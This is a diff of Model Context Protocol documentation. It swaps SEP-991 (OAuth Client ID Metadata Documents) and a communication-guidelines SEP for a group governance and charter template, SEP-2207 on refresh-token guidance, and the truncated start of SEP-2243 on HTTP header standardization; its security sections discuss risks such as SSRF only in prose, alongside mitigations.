on this problem, you can refer to my blog post about this here: +#### 1.8 Reporting -[Enterprise-Ready MCP](https://aaronparecki.com/2025/05/12/27/enterprise-ready-mcp) +**Working Groups** provide quarterly updates (end of January, April, July, October) including: -I also presented this at the MCP Dev Summit in May. +* Progress against deliverables +* Blocked items and escalations +* Membership changes +* Upcoming priorities +* Resource needs -A high level overview of the flow is below: +The quarterly updates are provided as a document posted in the [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/) category of the Working Group. They are optionally discussed +with the Core Maintainers in a core maintainer meeting. -```mermaid theme={null} -sequenceDiagram - participant UA as Browser - participant C as MCP Client - participant MAS as MCP Authorization Server - participant MRS as MCP Resource Server - participant IdP as Identity Provider +**Interest Groups** do not have formal reporting requirements but should keep their charter and member list current. - rect rgb(255,255,225) - C-->>UA: Redirect to IdP - UA->>+IdP: Redirect to IdP - Note over IdP: User Logs In - IdP-->>-UA: IdP Authorization Code - UA->>C: IdP Authorization Code - C->>+IdP: Token Request with IdP Authorization Code - IdP-->-C: ID Token - end +#### 1.9 Lifecycle - note over C: User is logged
in to MCP Client.
Client stores ID Token. +**Working Group Formation:** - C->+IdP: Exchange ID Token for ID-JAG - note over IdP: Evaluate Policy - IdP-->-C: Responds with ID-JAG - C->+MAS: Token Request with ID-JAG - note over MAS: Validate ID-JAG - MAS-->-C: MCP Access Token +* There must be a widely acknowledged concern requiring coordination +* PR for creation of WG into `docs/community//overview.mdx`, gated by CODEOWNERS requiring approval by Maintainers +* PR for charter into `docs/community//charter.mdx`, gated by CODEOWNERS requiring approval from a single Core Maintainer (who should notify all Core Maintainers) +* Initial member list approved by WG Lead - loop - C->>+MRS: Call MCP API with Access Token - MRS-->>-C: MCP Response with Data - end -``` +**Interest Group Formation:** -> \[!IMPORTANT] -> **State:** Ready to Review +* Fill out the creation template in the `#wg-ig-group-creation` channel on [Discord](https://discord.gg/6CSzBmMkjX) +* A Core Maintainer reviews the proposal; the IG and its Facilitator(s) must be sponsored by at least two Core Maintainers or one Lead Maintainer +* Once sponsored, the Facilitator(s) organize the IG and create a charter +**Retirement:** -# SEP-991: Enable URL-based Client Registration using OAuth Client ID Metadata Documents -Source: https://modelcontextprotocol.io/community/seps/991-enable-url-based-client-registration-using-oauth-c +* **WGs**: WG Lead or Core Maintainer proposes retirement with rationale; Core Maintainer or Lead Maintainer approval required. WGs are also retired when they have no active work for a sustained period or have completed all planned deliverables. +* **IGs**: Core Maintainers or Lead Maintainers may retire an IG that is no longer active or needed. +* In both cases, documentation is archived and channels are marked inactive. -Enable URL-based Client Registration using OAuth Client ID Metadata Documents +#### 1.10 Charter Amendments -
- Final - Standards Track -
+Changes to a group's charter (WG or IG) require: -| Field | Value | -| ------------- | ----------------------------------------------------------------------------------------------------------------- | -| **SEP** | 991 | -| **Title** | Enable URL-based Client Registration using OAuth Client ID Metadata Documents | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-07 | -| **Author(s)** | Paul Carleton ([@pcarleton](https://github.com/pcarleton)) Aaron Parecki ([@aaronpk](https://github.com/aaronpk)) | -| **Sponsor** | None | -| **PR** | [#991](https://github.com/modelcontextprotocol/specification/pull/991) | +* Proposal by Lead/Facilitator or Core Maintainer +* Approval by Core Maintainers *** -## Abstract +### Part 2: Charter Template -This SEP proposes adopting OAuth Client ID Metadata Documents as specified in [draft-parecki-oauth-client-id-metadata-document-03](https://datatracker.ietf.org/doc/draft-parecki-oauth-client-id-metadata-document/) as an additional client registration mechanism for the Model Context Protocol (MCP). This approach allows OAuth clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document containing client metadata. This specifically addresses the common MCP scenario where servers and clients have no pre-existing relationship, enabling servers to trust clients without pre-coordination while maintaining full control over access policies. +Every MCP Working Group and Interest Group must maintain a charter document following this template structure. Charters are stored as MDX files at `docs/community//charter.mdx` in the modelcontextprotocol repository and added to the `docs/docs.json` file. A copyable version of this template is published at [`docs/community/charter-template.mdx`](/community/charter-template). -## Motivation +The charter captures information specific to each group. Governance rules from Part 1 apply automatically and do not need to be repeated in the charter. Sections marked **(WG only)** are required for Working Groups but optional for Interest Groups. -The Model Context Protocol currently supports two client registration approaches: +#### 1. Group Type -1. **Pre-registration**: Requires either client developers or users to manually register clients with each server -2. **Dynamic Client Registration (DCR)**: Allows just-in-time registration by sending client metadata to a register endpoint on the Authorization server. +State whether this is a **Working Group** or an **Interest Group**. -Both approaches have significant limitations for MCP's use case where clients frequently need to connect to servers they've never encountered before: +#### 2. Mission Statement -* Pre-registration by developers is impractical as servers may not exist when clients ship -* Pre-registration by users creates poor UX requiring manual credential management -* DCR requires servers to manage unbounded databases, handle expiration, and trust self-asserted metadata +A 2-3 sentence summary of the group's purpose, articulating: -### The Target Use Case: No Pre-existing Relationship +* The problem space being addressed +* Why cross-cutting collaboration is needed +* For WGs: what concrete deliverables the group will produce +* For IGs: what discussions and knowledge-sharing the group will facilitate -This proposal specifically targets the common MCP scenario where: +*WG Example:* -* A user wants to connect a client to a server they've discovered -* The client developer has never heard of this server -* The server operator has never heard of this client -* Both parties need to establish trust without prior coordination +> The Transport Working Group exists to evolve MCP's transport mechanisms to support diverse deployment scenarios—from local subprocess communication to horizontally-scaled cloud deployments—while maintaining protocol coherence and backward compatibility. -For scenarios with pre-existing relationships, pre-registration remains the optimal solution. However, MCP's value comes from its ability to connect arbitrary clients and servers, making the "no pre-existing relationship" case critical to address. +*IG Example:* -Relatedly, there are many more MCP servers than there are clients (similar to how there are many more web browsers than API's). A common scenario is an MCP server developer wanting to restrict usage to a set of clients they trust. +> The Enterprise IG explores the challenges of deploying MCP in enterprise environments, gathering use cases and requirements to inform future specification work. -### Key Innovation: Server-Controlled Trust Without Pre-Coordination +#### 3. Scope -Client ID Metadata Documents enable a unique trust model where: +**In Scope**: Enumerated responsibilities. -1. **Servers can trust clients they've never seen before** based on: - * The HTTPS domain hosting the metadata - * The metadata content itself - * Domain reputation and security policies +For WGs, this includes: -2. **Servers maintain full control** through flexible policies: - * **Open Servers**: Can accept any HTTPS client\_id, enabling maximum interoperability - * **Protected Servers**: Can restrict to trusted domains or specific clients +* Specification Work: Specific spec sections or SEPs owned +* Reference Implementations: SDK components or reference implementations +* Cross-Cutting Concerns: Areas requiring coordination with other groups +* Documentation: Documentation responsibilities -3. **No client pre-coordination required**: - * Clients don't need to know about servers in advance - * Clients just need to host their metadata document - * Trust flows from the client's domain, not prior registration +For IGs, this includes: -## Specification Changes +* Topic areas for discussion +* Types of output (problem statements, use cases, recommendations) -The change to the specification will be adding Client ID Metadata documents as a SHOULD, and changing DCR to a MAY, as we think that Client ID Metadata documents are a better default option for this scenario. +**Out of Scope**: Explicit statements of what is NOT within the group's purview to prevent mission creep. -We will primarily rely on the text in the linked RFC, aiming not to repeat most of it. Below is a short version of what we'll need to specify. +**Related Groups**: List of other WGs or IGs with intersecting work and nature of overlap. -```mermaid theme={null} - sequenceDiagram - participant User - participant Client as MCP Client - participant Server as Authorization Server - participant Metadata as Metadata Endpoint
(Client's HTTPS URL) - participant Resource as MCP Server +#### 4. Leadership - Note over Client,Metadata: Client hosts metadata at
https://app.example.com/oauth/metadata.json +**Leads/Facilitators** table with: - User->>Client: Initiates connection to MCP Server - Client->>Server: Authorization Request
client_id=https://app.example.com/oauth/metadata.json
redirect_uri=http://localhost:3000/callback +* Role, Name, Organization, GitHub handle, Term - Note over Server: Authenticates user +Leadership requirements and responsibilities are defined in the governance rules (Sections 1.1 and 1.2). +#### 5. Authority & Decision Rights (WG only) - Note over Server: Detects URL-formatted client_id +Each WG must explicitly define its decision authority. The decision-making process and escalation path are defined in the governance rules (Sections 1.4 and 1.5). This section documents which decisions the WG can make at which authority level. - Server->>Metadata: GET https://app.example.com/oauth/metadata.json - Metadata-->>Server: JSON Metadata Document
{client_id, client_name, redirect_uris, ...} +*Example:* - Note over Server: Validates:
1. client_id matches URL
2. redirect_uri in allowed list
3. Document structure valid
4. Domain allowed via trust policy +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | - alt Validation Success - Server->>User: Display consent page with client_name - User->>Server: Approves access - Server->>Client: Authorization code via redirect_uri - Client->>Server: Exchange code for token
client_id=https://app.example.com/oauth/metadata.json - Server-->>Client: Access token - Client->>Resource: MCP requests with access token - Resource-->>Client: MCP responses - else Validation Failure - Server->>User: Error response
error=invalid_client or invalid_request - end +IGs do not make binding decisions and do not need this section. - Note over Server: Cache metadata for future requests
(respecting HTTP cache headers) -``` +#### 6. Membership -### Client Requirements +List current group members and their participation levels, if any. Leave out if no members exist yet. +Participation tiers and membership criteria are defined in the governance rules (Section 1.3). -* Clients MUST host their metadata document at an HTTPS URL following RFC requirements -* The client\_id URL MUST use "https" scheme and contain a path component -* Metadata documents MUST be valid JSON and include at minimum: - * `client_id`: matching the document URL exactly - * `client_name`: human-readable name for authorization prompts - * `redirect_uris`: array of allowed redirect URIs - * `token_endpoint_auth_method`: "none" for public clients +#### 7. Operations -Note a client can use `private_key_jwt` for a `token_endpoint_auth_method` given the client metadata can provide public key information. +Document the group's current meeting approach. Meeting requirements and communication channels are defined in the governance rules (Sections 1.6 and 1.7). -### Server Requirements +*Example:* -* Servers SHOULD fetch metadata documents when encountering URL-formatted client\_ids -* Servers MUST validate the fetched document contains matching client\_id -* Servers SHOULD cache metadata respecting HTTP headers (max 24 hours recommended) -* Servers MUST validate redirect URIs match those in metadata document +| Meeting | Frequency | Duration | Purpose | +| --------------- | --------------- | -------- | ------------------------------------- | +| Working Session | Weekly/Biweekly | 60 min | Technical discussion, proposal review | +| Office Hours | Monthly | 30 min | Open Q\&A for newcomers and observers | -### Discovery +#### 8. Deliverables & Success Metrics (WG only) -* Servers advertise support via OAuth metadata: `client_id_metadata_document_supported: true` -* Clients detect support and can fallback to DCR or pre-registration if unavailable +**Active Work Items:** -Example metadata document: +| Item | Status | Target Date | Champion | +| ------------- | --------------------- | ----------- | -------- | +| SEP-XXX: Name | Draft/Review/Approved | Date | Name | -```json theme={null} -{ - "client_id": "https://app.example.com/oauth/client-metadata.json", - "client_name": "Example MCP Client", - "client_uri": "https://app.example.com", - "logo_uri": "https://app.example.com/logo.png", - "redirect_uris": [ - "http://127.0.0.1:3000/callback", - "http://localhost:3000/callback" - ], - "grant_types": ["authorization_code"], - "response_types": ["code"], - "token_endpoint_auth_method": "none" -} -``` +**Success Criteria:** Measurable outcomes for WG success. -### Integration with Existing MCP Auth +Quarterly reporting requirements are defined in the governance rules (Section 1.8). -This proposal adds Client ID Metadata Documents as a third registration option alongside pre-registration and DCR. Servers MAY support any combination of these approaches: +IGs do not track formal deliverables but may list current discussion topics or planned outputs (problem statements, recommendations, etc.) in their charter. -* Pre-registration remains unchanged -* DCR remains unchanged -* Client ID Metadata Documents are detected by URL-formatted client\_ids, and server support is advertised in OAuth metadata. +#### 9. Changelog + +Track charter versions with date and changes. ## Rationale -### Why This Solves the "No Pre-existing Relationship" Problem +### Why Separate Governance from Charter Template? -Unlike pre-registration which requires coordination, or DCR which requires servers to manage a registration database, Client ID Metadata Documents provide: +Separating fixed governance rules from the per-group charter template makes it clear what is consistent across all groups (decision-making, membership tiers, escalation) versus what each group defines for itself (scope, leadership roster, deliverables). This prevents groups from accidentally diverging on process while preserving flexibility where it matters. -1. **Verifiable Identity**: The HTTPS URL serves as both identifier and trust anchor -2. **No Coordination Needed**: Clients publish metadata, servers consume it -3. **Flexible Trust Policies**: Servers decide their own trust criteria without requiring client changes -4. **Stable Identifiers**: Unlike DCR's ephemeral IDs, URLs are stable and auditable +### Why Cover Both WGs and IGs? -### Redirect URI Attestation +Working Groups and Interest Groups serve different purposes but share common operational needs — leadership, meeting requirements, communication channels, and escalation paths. A unified governance framework ensures consistency while clearly articulating where IGs have lighter requirements (no formal decision authority, no deliverables tracking, no quarterly reporting). -A key benefit of Client ID Metadata Documents is attestation of redirect URIs: +### Why a Standardized Template? -1. **The metadata document cryptographically binds redirect URIs to the client identity** via HTTPS -2. **Servers can trust that redirect URIs in the metadata are controlled by the client** - not attacker-supplied -3. **This prevents redirect URI manipulation attacks** common with self-asserted registration +Standardization: -### Risks of this approach +* Ensures all groups address critical governance questions +* Makes it easier for community members to understand any group's operations +* Reduces overhead for forming new groups +* Creates accountability through explicit documentation -#### Risk: Localhost URL Impersonation +### Why Explicit Authority Tables? -A limitation of Client ID Metadata Documents is that they cannot prevent localhost URL impersonation by itself. An attacker can claim to be any client by: +The authority table directly addresses the "unclear authority" feedback. By enumerating decision types and required approvals, WGs and community members know exactly what can be decided autonomously versus what needs escalation. IGs are exempt from this because they produce recommendations, not binding decisions. -1. Providing the legitimate client's metadata URL as their client\_id -2. Binding to the same localhost port the legitimate client uses -3. Intercepting the authorization code when the user approves +### Why Tiered Participation? -This attack is concerning because the server sees the correct metadata -document and the user sees the correct client name, making detection -difficult. +Different engagement levels serve different community needs: -Platform-specific attestations (iOS DeviceCheck, Android -Play Integrity) could address this, but they're not universally available. This -would work by a developer running a backend service that consumes the DeviceCheck / Play Integrity -signatures and returns a JWT usable as the `private_key_jwt` authentication for the `token_endpoint_auth_method`. +* **Observers** can learn without commitment +* **Participants** can contribute without full WG Member responsibilities +* **WG Members** take on accountability and get decision rights (primarily WGs) +* **Leads/Facilitators** provide operational continuity -A similar approach without requiring platform-specific attestations that still raises the cost of the attack -is possible using JWKS and short-lived JWTs signed by a server-side component hosted by the client developer. This component could use attestation mechanisms other than platform-specific ones to attest to the clients identity, such as the client's standard login flow. Using short lived JWTs reduces the risk of credential compromise and replay, but does not eliminate it -entirely - an attacker could still proxy requests to the legitimate -client's signing endpoint. +### Why Lazy Consensus as Default? -Fully mitigating this risk is outside the scope of this proposal. This -proposal has the same risks as DCR does in a localhost redirect scenario. +Lazy consensus: -Servers SHOULD display additional warnings for localhost-only clients. +* Enables efficient decision-making for routine matters +* Reduces meeting burden +* Documents decisions through announcement/deadline structure +* Preserves blocking rights for substantive concerns -#### Risk: Server Side Request Forgery (SSRF) +Voting is reserved for contested or high-impact decisions. -The authorization server takes a URL as input from an unknown client, and then fetches that URL. A malicious client could use this to send non-metadata requests on behalf of the authorization server. An example would be sending a URL corresponding to a private administration endpoint that the authorization server has access to. +### Model Inspiration -This can be prevented by validating the URL's and the IP's those URL's resolve to prior to initiating a fetch request. +This template is adapted from Kubernetes governance structures and tailored for MCP's specific needs identified through community interviews. -#### Risk: Distributed Denial of Service (DDoS) +## Backward Compatibility -Similarly, an attacker could try to leverage a pool of authorization servers to perform a denial of service attack on a non-MCP server. +### Transition for Existing Groups + +Working Groups and Interest Groups that exist at the time this SEP is accepted are grandfathered in — they are recognized as valid groups and do not need to re-apply through the formation process defined in Section 1.9. + +However, existing groups must create a charter conforming to the template in Part 2 within **8 weeks** of this SEP's acceptance. During this transition period: + +* Existing groups continue to operate under their current processes +* Leads/Facilitators are responsible for drafting the charter +* Core Maintainers will review and approve both WG and IG charters +* Groups that do not produce a charter within 8 weeks will be considered inactive and subject to retirement + +## Security Implications + +No direct security implications. However, clear authority delegation and decision processes indirectly support security by ensuring decisions are made at appropriate levels with proper accountability. + +## Reference Implementation -There is not any additional amplification for the fetch request (i.e. the bandwidth from the client to make the request roughly equals the bandwidth of the request sent to the target server), and each authorization server can aggressively cache the result of these metadata fetches, so it is unlikely to be an attractive DDoS vector. +This SEP is implemented by: -#### Risk: Maturity of referenced specification +1. `docs/community/working-interest-groups.mdx` — governance rules (Part 1) published as the Working and Interest Groups page on modelcontextprotocol.io +2. `docs/community/charter-template.mdx` — copyable charter template (Part 2) linked from the above +3. Both pages added to `docs/docs.json` under the Community → Governance navigation group +4. Existing WGs and IGs must create conforming charters at `docs/community//charter.mdx` within 8 weeks of acceptance -The RFC for Client ID Metadata documents is still a draft. It has been implemented by the platform Bluesky, but has not been ratified or very widely adopted outside of that, and may evolve over time. Our intention is to evolve and align with subsequent drafts and any final standard, while minimizing disruption and breakage with existing implementations. -This approach has the risk that there are implementation challenges or flaws in the protocol that have not surfaced yet. However, even though DCR has been ratified, and it also has a number of implementation challenges that developers are facing when trying to use it in an open ecosystem context like MCP. Those challenges are the motiviation behind this proposal. +# SEP-2207: OIDC-Flavored Refresh Token Guidance +Source: https://modelcontextprotocol.io/seps/2207-oidc-refresh-token-guidance -#### Risk: Client implementation burden, espcially local clients +OIDC-Flavored Refresh Token Guidance -This specification requires an additional piece of infrastructure for clients, since they need to host a metadata file behind an HTTPS url. Without this specification, a client could be strictly a desktop application for example. +
+ + Accepted + -The burden of hosting this endpoint is expected to be low as hosting a static JSON file is fairly straightforward and most known clients have a webpage advertising their client or providing download links. + + Standards Track + +
-#### Risk: Fragmentation of authorization approaches +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 2207 | +| **Title** | OIDC-Flavored Refresh Token Guidance | +| **Status** | Accepted | +| **Type** | Standards Track | +| **Created** | 2026-02-04 | +| **Author(s)** | Wils Dawson ([@wdawson](https://github.com/wdawson)) | +| **Sponsor** | Paul Carleton ([@pcarleton](https://github.com/pcarleton)) | +| **PR** | [#2207](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2207) | -Authorization for MCP is already challenging to fully implement for clients and servers. Questions about how to do it correctly and best practices are some of the most common in the community. Adding another branch to the authorization flow means this could be even more complicated and fractured, meaning fewer developers succeed in following the specification, and the promise of compatibility and an open ecosystem suffers as a result. +*** -This proposal intends to simplify the story for authorization server and resource server developers by providing a clearer mechanism to trust redirect URIs and less operational overhead. This proposal depends on that simplicity being clearly the better option for most folks, which will drive more adoption and end up being the most supported option. If we do not believe that it is clearly the better option, then we should not adopt this proposal. +## Abstract -This proposal also provides a unified mechanism for both open servers and servers that want to restrict which clients can be used. Alternatives to this proposal require that clients and servers implement different mechanisms for the open and protected use cases. +This proposal provides guidance for MCP implementations regarding refresh token +issuance and requests, particularly when Authorization Servers support the +`offline_access` scope. The `offline_access` scope originated in OIDC but can be +adopted by any OAuth 2.1 Authorization Server as a mechanism to let clients +explicitly request refresh tokens. This SEP clarifies the expected behavior for +both Authorization Servers and MCP Clients when working with this pattern. -## Alternatives Considered +## Motivation -1. **Enhanced DCR with Software Statements**: More complex, requires JWKS hosting and JWT signing -2. **Mandatory Pre-registration**: Poor developer and user experience for MCP's distributed ecosystem -3. **Mutual TLS**: Requires trusting a client certificate authority, impractical in an open ecosystem -4. **Status Quo**: Continues current pain points for server implementers +MCP's authorization mechanism is based on OAuth 2.1, but many real-world +deployments use Authorization Servers that also implement OpenID Connect (OIDC). +A key difference between pure OAuth and OIDC is how refresh tokens are handled: + +* In **pure OAuth 2.1**, there is no standard mechanism for a client to + explicitly request a refresh token. The Authorization Server determines + whether to issue one based on the client's capabilities (e.g., the + `refresh_token` grant type in client metadata) and its own policies. +* In **OIDC** (and Authorization Servers that adopt this convention), the + `offline_access` scope exists to allow clients to explicitly request refresh + tokens, in addition to the OAuth logic. + +This creates several problems in the MCP ecosystem: + +1. **Clients aren't requesting refresh tokens**: Major MCP clients (Cursor, + Claude, VS Code, etc.) aren't explicitly asking for refresh tokens via the + `offline_access` scope because they don't know whether the Authorization + Server supports, expects, or requires it. + +2. **Resource servers shouldn't specify `offline_access`**: The `offline_access` + scope is not a resource-specific scope—it's a concern between the client and + Authorization Server. Including it in the `WWW-Authenticate` header's `scope` + parameter or in the Protected Resource Metadata's `scopes_supported` would be + semantically incorrect since it implies the resource *requires* refresh + tokens, which it never would. + +3. **Authorization Servers can be inconsistent**: When processing an + authorization code grant, different Authorization Servers may have different + behavior when issuing refresh tokens to different clients, especially when + the client doesn't specify `refresh_token` as a grant type or request the + `offline_access` scope. + +4. **Interoperability gap**: Without this guidance, implementations may behave + inconsistently, leading to poor user experience (frequent re-authentication) + or security issues (issuing refresh tokens to clients that can't securely + store them). -Client ID Metadata document is a strict improvement over DCR for the most common open-ecosystem use case. It can be further extended in the future to better support things like OS-level attestations and jwks\_uri's. +## Specification -## Backward Compatibility +### MCP Client Requirements -This proposal is fully backward compatible: +MCP Clients that intend to use refresh tokens and are capable of storing them +securely **SHOULD** follow these guidelines: -* Existing pre-registered clients continue working unchanged -* Existing DCR implementations continue working unchanged -* Servers can adopt Client ID Metadata Documents incrementally -* Clients can detect support and fall back to other methods +1. **Advertise capability**: Clients **SHOULD** include `refresh_token` in their + `grant_types` client metadata to indicate they support refresh tokens. -## Prototype Implementation +2. **Scope augmentation**: When the client desires a refresh token and the + Authorization Server metadata contains `offline_access` in its + `scopes_supported` field, the client **MAY** add the `offline_access` scope + to the list of scopes from the resource server before making authorization + requests to the Authorization Server. -A prototype implementation is available [here](https://github.com/modelcontextprotocol/typescript-sdk/pull/839) demonstrating: +3. **No guarantee**: Clients **MUST NOT** assume that advertising support or + requesting `offline_access` guarantees they will receive a refresh token. The + Authorization Server retains discretion based on its policies. -1. Client-side metadata document hosting -2. Server-side metadata fetching and validation -3. Integration with existing MCP OAuth flows -4. Proper error handling and fallback behavior +### MCP Server (Resource Server) Requirements -## Security Implications +MCP Servers (acting as OAuth 2.0 Protected Resources): -1. **Phishing Prevention**: Display client hostname prominently -2. **SSRF Protection**: Validate URLs, limit response size, timeout requests, rate limit outbound requests +1. **SHOULD NOT** include `offline_access` in the `scope` parameter of + `WWW-Authenticate` headers, as refresh tokens are not a resource requirement. -### Best Practices +2. **SHOULD NOT** include `offline_access` in `scopes_supported` in Protected + Resource Metadata, as it is not a resource-specific scope. -* Only fetch client metadata after authenticating the user -* Implement rate limiting on outbound metadata fetches -* Consider additional warnings for new/unknown/localhost domains -* Log metadata fetch failures for monitoring +## Rationale -## References +### Why not require `offline_access` in the 401 response? -* [draft-parecki-oauth-client-id-metadata-document-03](https://www.ietf.org/archive/id/draft-parecki-oauth-client-id-metadata-document-03.txt) -* [OAuth 2.1](https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/) -* [RFC 7591 - OAuth 2.0 Dynamic Client Registration](https://www.rfc-editor.org/rfc/rfc7591.html) -* [MCP Specification - Authorization](https://modelcontextprotocol.org/docs/spec/authorization) -* [Evolving OAuth Client Registration in the Model Context Protocol](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1027/) +The `offline_access` scope is fundamentally different from resource-specific +scopes. It represents a client's desire for long-lived access, not a +requirement of the resource. Per +[OAuth 2.1 Section 5.3.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.3.1), +the `scope` attribute in `WWW-Authenticate` indicates "the required scope of the +access token for accessing the requested resource." Since the resource doesn't +require `offline_access`, including it would be semantically incorrect. +### Why check client metadata for grant types? Why not always issue refresh tokens? -# SEP-994: Shared Communication Practices/Guidelines -Source: https://modelcontextprotocol.io/community/seps/994-shared-communication-practicesguidelines +OAuth 2.1 requires clients to register their supported grant types. A client +that doesn't support the `refresh_token` grant either: -Shared Communication Practices/Guidelines +* Cannot securely store refresh tokens +* Has no mechanism to use them -
- Final - Process -
+Issuing refresh tokens to such clients wastes Authorization Server resources +(tracking tokens that will never be used) and may pose security risks if the +tokens are leaked. -| Field | Value | -| ------------- | ----------------------------------------- | -| **SEP** | 994 | -| **Title** | Shared Communication Practices/Guidelines | -| **Status** | Final | -| **Type** | Process | -| **Created** | 2025-07-17 | -| **Author(s)** | [@localden](https://github.com/localden) | -| **Sponsor** | None | -| **PR** | [#994](#1002) | +### Why allow `offline_access` as an alternative signal? -*** +Some Authorization Servers—whether fully OIDC-compliant or simply adopting this +convention—only issue refresh tokens when `offline_access` is explicitly +requested. Supporting this pattern provides a compatible path for such +deployments. Clients can detect Authorization Servers that support this +convention by checking for `offline_access` in `scopes_supported` in the +Authorization Server Metadata and adapt their behavior accordingly. -## Abstract +### Alternative approaches considered -This SEP establishes the communication strategy and framework for the Model Context Protocol community. It defines the official channels for contributor communication, guidelines for their use, and processes for decision documentation. +1. **Mandate `offline_access` in resource responses**: Rejected because it + misrepresents the resource's requirements and creates an anti-pattern. -## Motivation +2. **Always issue refresh tokens**: Rejected because it ignores client + capabilities and Authorization Server security policies. -As the MCP community grows, clear communication guidelines are essential for: +3. **Separate OIDC-specific specification**: Rejected in favor of a unified + approach that works for both pure OAuth and OIDC deployments. -* **Consistency**: Ensuring all contributors know where and how to communicate -* **Transparency**: Making project decisions visible and accessible -* **Efficiency**: Directing discussions to the most appropriate channels -* **Security**: Establishing proper processes for handling sensitive issues +4. **Provide guidance for Authorization Servers**: Rejected in favor of + relying on OAuth and OIDC specs for this guidance as it can vary. -## Specification +## Backward Compatibility -### Communication Channels +This proposal is fully backward-compatible: -The MCP project uses three primary communication channels: +* Clients that already request `offline_access` continue to work +* Authorization Servers that already check client capabilities continue to work +* MCP Servers are not required to make any changes +* The guidance is additive and does not change existing required behavior -1. **Discord**: For real-time or ad-hoc discussions among contributors -2. **GitHub Discussions**: For structured, longer-form discussions -3. **GitHub Issues**: For actionable tasks, bug reports, and feature requests +Implementations that don't follow this guidance may experience suboptimal +behavior (missing refresh tokens or unnecessary token issuance) but will remain +functional. -Security-sensitive issues follow a separate process defined in SECURITY.md. +## Security Implications -### Discord Guidelines +### Positive security implications -The Discord server is designed for **MCP contributors** and is not intended for general MCP support. +1. **Reduced token leakage risk**: By not issuing refresh tokens to clients that + don't advertise support, we reduce the risk of long-lived tokens being stored + insecurely. -#### Public Channels (Default) +2. **Defense in depth**: The risk-based assessment step gives Authorization Servers + flexibility to implement additional security controls. -* Open community engagement and collaborative development -* SDK and tooling development discussions -* Working and Interest Group discussions -* Community onboarding and contribution guidance -* Office hours and maintainer availability +### Considerations -#### Private Channels (Exceptions) +1. **Client metadata may not be sufficient**: Since client metadata is + self-reported, a malicious actor could register a client claiming + `refresh_token` grant support to obtain long-lived tokens. Authorization + Servers MAY use the risk-based assessment step (see Specification) to apply + additional restrictions—such as domain allowlists, reputation checks, or + verification requirements—rather than solely relying on client metadata + claims when deciding whether to issue refresh tokens. -Private channels are reserved for: +2. **Scope injection**: Clients adding `offline_access` should ensure this + doesn't interfere with other scope-related logic or create unexpected + authorization prompts. -* Security incidents (CVEs, protocol vulnerabilities) -* People matters (maintainer discussions, code of conduct) -* Coordination requiring immediate focused response +## Reference Implementation -All technical and governance decisions must be documented publicly in GitHub. +Reference implementations demonstrating this guidance will be provided in the +official MCP SDKs: -### GitHub Discussions +* **TypeScript SDK**: Client-side `offline_access` scope handling +* **Python SDK**: Client-side `offline_access` scope handling +* **Authorization Server example**: Demonstration of client capability checking +* **Client conformance test**: Allowing for easy validation of SDK implementations -Used for structured, long-form discussion: +Links to implementations will be added once the SEP is accepted. -* Project roadmap planning -* Announcements and release communications -* Community polls and consensus-building -* Feature requests with context and rationale +## Acknowledgments -### GitHub Issues +This proposal was developed through discussion in the MCP Discord's +authorization channel, with input from: -Used for actionable items: +* Aaron Parecki (OAuth/OIDC expertise) +* Paul Carleton (MCP authorization guidance) +* Simon Russell (OIDC deployment experience) -* Bug reports with reproducible steps -* Documentation improvements -* CI/CD and infrastructure issues -* Release tasks and milestone tracking -### Decision Records +# SEP-2243: HTTP Header Standardization for Streamable HTTP Transport +Source: https://modelcontextprotocol.io/seps/2243-http-standardization -All MCP decisions are documented publicly: +HTTP Header Standardization for Streamable HTTP Transport -* **Technical decisions**: GitHub Issues and SEPs -* **Specification changes**: Changelog on the MCP website -* **Process changes**: Community documentation -* **Governance decisions**: GitHub Issues and SEPs +
+ + Draft + -Decision documentation includes: + + Standards Track + +
-* Decision makers -* Background context and motivation -* Options considered -* Rationale for chosen approach -* Implementation steps +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 2243 | +| **Title** | HTTP Header Standardization for Streamable HTTP Transport | +| **Status** | Draft | +| **Type** | Standards Track | +| **Created** | 2026-02-04 | +| **Author(s)** | MCP Transports Working Group | +| **Sponsor** | None | +| **PR** | [#2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243) | -## Rationale +*** -This framework balances openness with practicality: +## Abstract -* **Public by default**: Maximizes transparency and community participation -* **Private when necessary**: Protects security and personal matters -* **Channel separation**: Keeps discussions organized and searchable -* **Documentation requirements**: Ensures decisions are preserved and discoverable +This SEP proposes exposing critical routing and context information in standard HTTP header locations for the Streamable HTTP transport. By mirroring key fields from the JSON-RPC payload into HTTP headers, network intermediaries such as load balancers, proxies, and observability tools can route and process MCP traffic without deep packet inspection, reducing latency and computational overhead. -## Backward Compatibility +## Motivation -This SEP establishes new processes and does not affect existing protocol functionality. +Current MCP implementations over HTTP bury all routing information within the JSON-RPC payload. This creates friction for network infrastructure: -## Reference Implementation +* **Load balancers** must terminate TLS and parse the entire JSON body to extract routing information (e.g., region, tool name) +* **Proxies and gateways** cannot make routing decisions without deep packet inspection +* **Observability tools** have limited visibility into MCP traffic patterns +* **Rate limiters and WAFs** cannot apply policies based on MCP-specific fields -The communication guidelines are published at: [https://modelcontextprotocol.io/community/communication](https://modelcontextprotocol.io/community/communication) +By exposing key fields in HTTP headers, we enable standard network infrastructure to work with MCP traffic using existing, well-supported mechanisms. +## Specification -# Specification Enhancement Proposals (SEPs) -Source: https://modelcontextprotocol.io/community/seps/index +### Standard Headers -Index of all MCP Specification Enhancement Proposals +The Streamable HTTP transport will require POST requests to include the following headers mirrored from the request body: -Specification Enhancement Proposals (SEPs) are the primary mechanism for proposing major changes to the Model Context Protocol. Each SEP provides a concise technical specification and rationale for proposed features. +| Header Name | Source Field | Required For | +| 